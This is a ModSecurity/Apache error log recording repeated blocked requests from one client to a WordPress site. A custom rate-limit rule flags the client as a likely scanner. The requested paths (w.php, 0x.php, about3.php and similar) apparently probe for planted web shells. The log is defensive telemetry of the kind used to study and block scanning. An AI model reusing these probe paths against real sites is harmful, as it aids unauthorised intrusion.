[Fri Jan 02 05:53:34.250840 2026] [:error] [pid 63208:tid 63218] [client 4.241.192.15:6132] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aVbs3nKLI9INGPLzfnd-6AAAAMc"]
[Fri Jan 02 05:53:34.626204 2026] [:error] [pid 63208:tid 63227] [client 4.241.192.15:11700] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aVbs3nKLI9INGPLzfnd-6QAAANA"]
[Fri Jan 02 05:53:35.018037 2026] [:error] [pid 63208:tid 63212] [client 4.241.192.15:11695] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w.php"] [unique_id "aVbs33KLI9INGPLzfnd-7QAAAME"]
[Fri Jan 02 05:53:35.374524 2026] [:error] [pid 63208:tid 63226] [client 4.241.192.15:6047] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aVbs33KLI9INGPLzfnd-7gAAAM8"]
[Fri Jan 02 05:53:35.856588 2026] [:error] [pid 63098:tid 63112] [client 4.241.192.15:6077] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aVbs38ez9k78gUs48kqSawAAAAU"]
[Fri Jan 02 05:53:36.269760 2026] [:error] [pid 63100:tid 63170] [client 4.241.192.15:6130] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aVbs4DuUXUKd3KTnKl-XQAAAAIk"]
[Fri Jan 02 05:53:36.651237 2026] [:error] [pid 63099:tid 63147] [client 4.241.192.15:6016] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aVbs4MmCZokRPYUhzvgXFwAAAE0"]
[Fri Jan 02 05:53:36.918507 2026] [:error] [pid 63208:tid 63216] [client 4.241.192.15:6083] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVbs4HKLI9INGPLzfnd-8AAAAMU"]
[Fri Jan 02 05:53:37.524920 2026] [:error] [pid 63208:tid 63215] [client 4.241.192.15:5972] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVbs4XKLI9INGPLzfnd-8QAAAMQ"]
[Fri Jan 02 05:53:37.818095 2026] [:error] [pid 63099:tid 63153] [client 4.241.192.15:5772] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVbs4cmCZokRPYUhzvgXGwAAAFM"]
[Fri Jan 02 05:53:38.213972 2026] [:error] [pid 63099:tid 63144] [client 4.241.192.15:11652] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aVbs4smCZokRPYUhzvgXHQAAAEo"]
[Fri Jan 02 05:53:38.834840 2026] [:error] [pid 63099:tid 63137] [client 4.241.192.15:5963] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aVbs4smCZokRPYUhzvgXHgAAAEM"]
[Fri Jan 02 05:53:39.202028 2026] [:error] [pid 63099:tid 63143] [client 4.241.192.15:6055] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aVbs48mCZokRPYUhzvgXIAAAAEk"]
[Fri Jan 02 05:53:39.573578 2026] [:error] [pid 63100:tid 63183] [client 4.241.192.15:11727] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aVbs4zuUXUKd3KTnKl-XRAAAAJY"]
[Fri Jan 02 05:53:39.948542 2026] [:error] [pid 63099:tid 63151] [client 4.241.192.15:6061] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aVbs48mCZokRPYUhzvgXIQAAAFE"]
[Fri Jan 02 05:53:40.262210 2026] [:error] [pid 63100:tid 63173] [client 4.241.192.15:11680] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVbs5DuUXUKd3KTnKl-XRQAAAIw"]
[Fri Jan 02 05:53:40.789713 2026] [:error] [pid 63099:tid 63157] [client 4.241.192.15:11685] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVbs5MmCZokRPYUhzvgXJAAAAFc"]
[Fri Jan 02 05:53:41.577712 2026] [:error] [pid 63099:tid 63147] [client 4.241.192.15:6010] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVbs5cmCZokRPYUhzvgXJwAAAE0"]
[Fri Jan 02 05:53:41.929904 2026] [:error] [pid 63100:tid 63176] [client 4.241.192.15:5773] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVbs5TuUXUKd3KTnKl-XSAAAAI8"]
[Fri Jan 02 05:53:42.437718 2026] [:error] [pid 63098:tid 63110] [client 4.241.192.15:6109] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVbs5sez9k78gUs48kqSbwAAAAM"]
[Fri Jan 02 05:53:42.854598 2026] [:error] [pid 63098:tid 63116] [client 4.241.192.15:6053] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVbs5sez9k78gUs48kqScAAAAAk"]
[Fri Jan 02 05:53:43.226879 2026] [:error] [pid 63098:tid 63128] [client 4.241.192.15:6026] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVbs58ez9k78gUs48kqScQAAABU"]
[Fri Jan 02 05:53:43.705253 2026] [:error] [pid 63098:tid 63127] [client 4.241.192.15:11773] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVbs58ez9k78gUs48kqSdAAAABQ"]
[Fri Jan 02 05:53:44.122362 2026] [:error] [pid 63100:tid 63179] [client 4.241.192.15:6079] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aVbs6DuUXUKd3KTnKl-XSQAAAJI"]
[Fri Jan 02 05:53:44.443043 2026] [:error] [pid 63098:tid 63115] [client 4.241.192.15:6059] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aVbs6Mez9k78gUs48kqSeAAAAAg"]
[Fri Jan 02 05:53:45.096999 2026] [:error] [pid 63100:tid 63175] [client 4.241.192.15:6097] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aVbs6TuUXUKd3KTnKl-XSwAAAI4"]
[Fri Jan 02 05:53:45.470819 2026] [:error] [pid 63099:tid 63144] [client 4.241.192.15:6138] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "aVbs6cmCZokRPYUhzvgXLAAAAEo"]
[Fri Jan 02 05:53:45.803828 2026] [:error] [pid 63208:tid 63221] [client 4.241.192.15:11749] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVbs6XKLI9INGPLzfnd-9AAAAMo"]
[Fri Jan 02 05:53:46.343718 2026] [:error] [pid 63100:tid 63178] [client 4.241.192.15:11683] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVbs6juUXUKd3KTnKl-XTgAAAJE"]
[Fri Jan 02 05:53:46.742633 2026] [:error] [pid 63208:tid 63212] [client 4.241.192.15:6136] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVbs6nKLI9INGPLzfnd-9wAAAME"]
[Fri Jan 02 05:53:47.087072 2026] [:error] [pid 63098:tid 63120] [client 4.241.192.15:11761] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "aVbs68ez9k78gUs48kqSfAAAAA0"]
[Fri Jan 02 05:53:47.376682 2026] [:error] [pid 63098:tid 63108] [client 4.241.192.15:6113] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVbs68ez9k78gUs48kqSfgAAAAE"]
[Fri Jan 02 05:53:47.807653 2026] [:error] [pid 63098:tid 63125] [client 4.241.192.15:6095] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVbs68ez9k78gUs48kqSfwAAABI"]
[Fri Jan 02 05:53:48.209671 2026] [:error] [pid 63098:tid 63116] [client 4.241.192.15:6034] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVbs7Mez9k78gUs48kqSggAAAAk"]
[Fri Jan 02 05:53:48.582066 2026] [:error] [pid 63208:tid 63220] [client 4.241.192.15:6140] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aVbs7HKLI9INGPLzfnd--gAAAMk"]
[Fri Jan 02 05:53:48.885562 2026] [:error] [pid 63208:tid 63232] [client 4.241.192.15:5952] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aVbs7HKLI9INGPLzfnd--wAAANU"]
[Fri Jan 02 05:53:49.176903 2026] [:error] [pid 63098:tid 63129] [client 4.241.192.15:6065] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aVbs7cez9k78gUs48kqShwAAABY"]
[Fri Jan 02 05:53:49.599558 2026] [:error] [pid 63098:tid 63119] [client 4.241.192.15:11686] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aVbs7cez9k78gUs48kqSiQAAAAw"]
[Fri Jan 02 05:53:49.827468 2026] [:error] [pid 63100:tid 63180] [client 4.241.192.15:6051] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aVbs7TuUXUKd3KTnKl-XUQAAAJM"]
[Fri Jan 02 05:53:50.186353 2026] [:error] [pid 63099:tid 63157] [client 4.241.192.15:6073] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVbs7smCZokRPYUhzvgXMAAAAFc"]
[Fri Jan 02 05:53:50.577934 2026] [:error] [pid 63098:tid 63120] [client 4.241.192.15:5958] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVbs7sez9k78gUs48kqSiwAAAA0"]
[Fri Jan 02 05:53:51.253910 2026] [:error] [pid 63100:tid 63181] [client 4.241.192.15:5989] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVbs7zuUXUKd3KTnKl-XVAAAAJQ"]
[Fri Jan 02 05:53:51.665701 2026] [:error] [pid 63208:tid 63229] [client 4.241.192.15:6023] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aVbs73KLI9INGPLzfnd-_wAAANI"]
[Fri Jan 02 05:53:52.146376 2026] [:error] [pid 63099:tid 63149] [client 4.241.192.15:5974] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVbs8MmCZokRPYUhzvgXMgAAAE8"]
[Fri Jan 02 05:53:52.462191 2026] [:error] [pid 63208:tid 63217] [client 4.241.192.15:5970] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVbs8HKLI9INGPLzfnd_AgAAAMY"]
[Fri Jan 02 05:53:52.947709 2026] [:error] [pid 63208:tid 63214] [client 4.241.192.15:5761] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVbs8HKLI9INGPLzfnd_BAAAAMM"]
[Fri Jan 02 05:53:53.805102 2026] [:error] [pid 63208:tid 63220] [client 4.241.192.15:11657] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aVbs8XKLI9INGPLzfnd_BgAAAMk"]
[Fri Jan 02 05:53:54.242878 2026] [:error] [pid 63099:tid 63145] [client 4.241.192.15:5957] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aVbs8smCZokRPYUhzvgXNAAAAEs"]
[Fri Jan 02 05:53:54.724858 2026] [:error] [pid 63099:tid 63153] [client 4.241.192.15:6052] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aVbs8smCZokRPYUhzvgXNQAAAFM"]
[Fri Jan 02 05:53:55.051291 2026] [:error] [pid 63099:tid 63141] [client 4.241.192.15:6131] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aVbs88mCZokRPYUhzvgXNgAAAEc"]
[Fri Jan 02 05:53:55.302200 2026] [:error] [pid 63208:tid 63226] [client 4.241.192.15:6093] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aVbs83KLI9INGPLzfnd_BwAAAM8"]
[Fri Jan 02 05:53:55.694760 2026] [:error] [pid 63099:tid 63138] [client 4.241.192.15:6048] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aVbs88mCZokRPYUhzvgXOQAAAEQ"]
[Fri Jan 02 05:53:56.172770 2026] [:error] [pid 63208:tid 63216] [client 4.241.192.15:6081] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aVbs9HKLI9INGPLzfnd_CQAAAMU"]
[Fri Jan 02 05:53:56.554196 2026] [:error] [pid 63208:tid 63211] [client 4.241.192.15:6078] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aVbs9HKLI9INGPLzfnd_DAAAAMA"]
[Fri Jan 02 05:53:56.807959 2026] [:error] [pid 63208:tid 63229] [client 4.241.192.15:6041] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about3.php"] [unique_id "aVbs9HKLI9INGPLzfnd_DQAAANI"]
[Fri Jan 02 05:53:57.057219 2026] [:error] [pid 63100:tid 63184] [client 4.241.192.15:5969] [client 4.241.192.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aVbs9TuUXUKd3KTnKl-XWwAAAJc"]
